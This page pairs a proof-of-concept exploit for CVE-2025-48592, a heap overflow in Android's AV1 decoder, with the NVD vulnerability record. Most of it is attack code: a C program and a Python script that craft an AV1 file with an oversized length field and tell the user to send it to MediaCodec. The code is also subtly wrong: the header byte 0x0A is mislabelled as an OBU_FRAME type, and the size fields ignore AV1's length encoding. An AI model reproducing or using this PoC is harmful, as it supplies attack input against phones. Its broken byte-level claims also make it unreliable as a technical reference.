CVE-2025-48592

// CVE-2025-48592 PoC - Android AV1 Decoder Heap Overflow // Generate malicious AV1 video stream to trigger OOB read in C2SoftDav1dDec #include <stdio.h> #include <stdlib.h> #include <string.h> // AV1 OBU (Open Bitstream Unit) header structure typedef struct { unsigned int forbidden_bit:1; unsigned int type:4; unsigned int extension_flag:1; unsigned int has_size:1; unsigned int reserved:1; } OBUHeader; // Malicious payload to trigger heap buffer overflow unsigned char* create_malicious_av1_payload(size_t* out_size) { // Craft OBU with oversized data to trigger OOB read unsigned char* payload = malloc(1024); memset(payload, 0, 1024); // OBU header - Frame header type payload[0] = 0x0A; // type=5 (OBU_FRAME), has_size=1 // Size field (large value to cause overflow) payload[1] = 0xFF; payload[2] = 0xFF; payload[3] = 0xFF; // Fill with data that will trigger OOB read when parsed memset(payload + 4, 0x41, 1020); // Pattern to identify leaked data *out_size = 1024; return payload; } // Simulate triggering the vulnerable code path void trigger_vulnerability() { size_t payload_size; unsigned char* malicious_data = create_malicious_av1_payload(&payload_size); // This would be called in the context of C2SoftDav1dDec::initDecoder // In real exploitation, the video would be processed by Android MediaCodec printf("[*] Malicious AV1 payload created: %zu bytes\n", payload_size); printf("[*] Send this payload to Android AV1 decoder via MediaCodec\n"); free(malicious_data); } int main() { printf("CVE-2025-48592 PoC - Android AV1 Decoder Heap Overflow\n"); printf("Target: C2SoftDav1dDec::initDecoder in frameworks/av\n"); printf("Vulnerability: Heap buffer overflow leading to OOB read\n\n"); trigger_vulnerability(); printf("\n[*] Note: This PoC demonstrates the concept.\n"); printf("[*] Actual exploitation requires Android device with vulnerable version.\n"); return 0; } // Python script to generate malicious AV1 file /* #!/usr/bin/env python3 import struct def generate_malicious_av1(): # Craft AV1 OBU with oversized payload obu_header = bytes([0x0A]) # OBU_FRAME with size size = struct.pack('>I', 0xFFFF) # Oversized length payload = b'\x41' * 0xFFFF # Fill data with open('malicious.av1', 'wb') as f: f.write(obu_header + size + payload) print(f"Generated malicious AV1 file: {len(obu_header + size + payload)} bytes") if __name__ == '__main__': generate_malicious_av1() */

{"cve": {"id": "CVE-2025-48592", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.407", "lastModified": "2025-12-08T21:15:56.860", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In initDecoder of C2SoftDav1dDec.cpp, there is a possible out of bounds read due to a heap buffer overflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/av/+/8febdebcb5e8736ec013a7d64e70f50e87649b52", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}